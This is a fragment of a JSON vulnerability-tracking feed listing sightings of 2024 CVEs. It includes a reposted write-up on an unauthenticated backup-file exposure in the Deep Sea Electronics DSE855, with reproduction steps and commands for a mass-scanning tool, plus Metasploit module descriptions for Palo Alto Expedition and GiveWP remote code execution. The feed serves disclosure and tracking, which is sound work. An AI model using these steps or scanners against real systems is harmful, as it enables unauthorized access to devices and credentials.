"2026-09-04T00:00:41.350587Z"}, {"uuid": "f0d0c9ab-53aa-43a3-a981-8921d0f6b4a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5947", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/141806", "content": "The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855\n\nRecently, during a routine security assessment, I uncovered a significant flaw in the Deep Sea Electronics DSE855 device. This vulnerability, identified as CVE-2024\u20135947, pertains to an authentication bypass issue that allows unauthorized access to sensitive information. Here\u2019s how I discovered and explored this vulnerability.The Discovery While examining the target, I focused on the device\u2019s web-based interface and noticed a peculiar behavior. The Deep Sea Electronics DSE855 was exposing a configuration backup file at http://xxxxxxxxxx/Backup.bin. This file was accessible without any authentication, raising red flags.Understanding the Vulnerability Bug Name: Deep Sea Electronics DSE855 \u2014 Authentication Bypass Bug Priority: Medium Vulnerable URL: http://xxxxxxx/Backup.bin CVE Description: CVE-2024\u20135947 highlights a critical issue in the Deep Sea Electronics DSE855\u2019s configuration backup process. The vulnerability arises from a lack of authentication before accessing sensitive information stored in the backup file. This issue, documented as ZDI-CAN-22679, allows network-adjacent attackers to retrieve the backup file without proper authorization, potentially exposing sensitive data such as stored credentials.Impact The exposed backup file can contain sensitive configuration details that could be leveraged by an attacker to compromise the system further. Accessing this file could lead to unauthorized disclosure of credentials and other critical information, increasing the risk of a security breach.Steps to Reproduce To confirm the vulnerability, follow these steps:Access the Vulnerable URL: Open the URL in your browser: http://xxxxxxxxx/Backup.binObserve the File Access: If the backup file is accessible without any authentication, you can view or download its contents, confirming the vulnerability.Automating the Hunt To streamline the process, I built a Python tool specifically for detecting this vulnerability. You can install it using pip and automate your testing: ToolPOC: CVE-2024\u20135947on githubpip install CVE-2024-5947 CVE-2024-5947 --chatid To Check a Single URL:CVE-2024-5947 -u http://mytargetprogram.comTo Check a List of URLs:CVE-2024-5947 -i urls.txt Remediation: To mitigate this vulnerability, it is essential to remove the .bin file from the server and ensure that sensitive files are protected with proper authentication mechanisms. POC by: @karthithehacker Mail: contact@karthithehacker.com Website: https://www.karthithehacker.com/ If you\u2019re interested in our VAPT service, contact us at ceo@cappriciosec.com or contact@cappriciosec.com. For enrolling my cybersecurity and Bugbounty course, WhatsApp +91 82709 13635.Connect with me: Twitter: https://twitter.com/karthithehacker Instagram: https://www.instagram.com/karthithehacker/ LinkedIn: https://www.linkedin.com/in/karthikeyan--v/ Website: https://www.karthithehacker.com/ Github : https://github.com/karthi-the-hacker/ npmjs: https://www.npmjs.com/~karthithehacker Youtube: https://www.youtube.com/@karthi_the_hackerThank you Karthikeyan.V The Discovery of CVE-2024\u20135947: Authentication Bypass in Deep Sea Electronics DSE855 was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.\nRead more...", "creation_timestamp": "2026-09-04T00:00:41.559385Z"}, {"uuid": "55ec5dd3-c9bb-4a59-9eab-534203afb2f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5910", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/paloalto_expedition_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Michael Heinzl\", \"Zach Hanley\", \"Enrique Castillo\", \"Brian Hysell\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"Obtain remote code execution in Palo Alto Expedition version 1.2.91 and below.\\n          The first vulnerability, CVE-2024-5910, allows to reset the password of the admin user, and the second vulnerability, CVE-2024-9464, is an authenticated OS command injection. In a default installation, commands will get executed in the context of www-data.\\n          When credentials are provided, this module will only exploit the second vulnerability. If no credentials are provided, the module will first try to reset the admin password and then perform the OS command injection.\", \"disclosure_date\": \"2024-10-09\", \"fullname\": \"exploit/linux/http/paloalto_expedition_rce\", \"is_install_path\": true, \"mod_time\": \"2026-06-02 10:32:30 +0000\", \"name\": \"Palo Alto Expedition Remote Code Execution (CVE-2024-5910 and CVE-2024-9464)\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\", \"account-lockouts\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/linux/http/paloalto_expedition_rce.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"linux/http/paloalto_expedition_rce\", \"references\": [\"URL-https://www.horizon3.ai/attack-research/palo-alto-expedition-from-n-day-to-full-compromise/\", \"URL-https://security.paloaltonetworks.com/PAN-SA-2024-0010\", \"URL-https://security.paloaltonetworks.com/CVE-2024-5910\", \"URL-https://attackerkb.com/topics/JwTzQJuBmn/cve-2024-5910\", \"URL-https://attackerkb.com/topics/ky1MIrne9r/cve-2024-9464\", \"CVE-2024-5910\", \"EDB-52129\", \"CVE-2024-24809\"], \"rport\": 443, \"session_types\": false, \"targets\": [\"Linux Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:50.197365Z"}, {"uuid": "97f2c459-8953-4192-a0d0-80c8fcea7cfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5932", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/wp_givewp_rce.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Villu Orav\", \"EQSTLab\", \"cuokon\", \"Julien Ahrens\", \"Valentin Lobstein\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": true, \"default_credential\": false, \"description\": \"The GiveWP Donation Plugin and Fundraising Platform for WordPress, in all versions up to and including 3.16.1,\\n          is vulnerable to a PHP Object Injection (POI) attack that allows unauthenticated arbitrary code execution.\\n          Although a patch was introduced in version 3.14.2, it was incorrect and can be bypassed.\\n          This means the vulnerability remains exploitable in subsequent versions due to the ineffective patch.\", \"disclosure_date\": \"2024-08-25\", \"fullname\": \"exploit/multi/http/wp_givewp_rce\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:04 +0000\", \"name\": \"GiveWP Unauthenticated Donation Process Exploit\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"ioc-in-logs\", \"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/multi/http/wp_givewp_rce.rb\", \"platform\": \"Linux,Unix,Windows\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"multi/http/wp_givewp_rce\", \"references\": [\"CVE-2024-5932\", \"URL-https://github.com/EQSTLab/CVE-2024-5932\", \"URL-https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932\", \"URL-https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin\", \"CVE-2024-8353\", \"URL-https://github.com/EQSTLab/CVE-2024-8353\", \"URL-https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection\"], \"rport\": 80, \"session_types\": false, \"targets\": [\"Unix/Linux Command Shell\", \"Windows Command Shell\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:21.535818Z"}, {"uuid": "91d48698-3ab7-4bab-b0ea-d857abb16c0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5980", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mv6nkbykmg2f", "content": "CVE-2024-5980 - lightning\nA bug in PyTorch Lightning's API allows attackers to upload malicious files that can be used to steal or damage sensitive data. This happens when the plugin server is running. Users\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#lightning #pip #CVE #infosec", "creation_timestamp": "2026-09-10T18:10:04.374638Z"}]}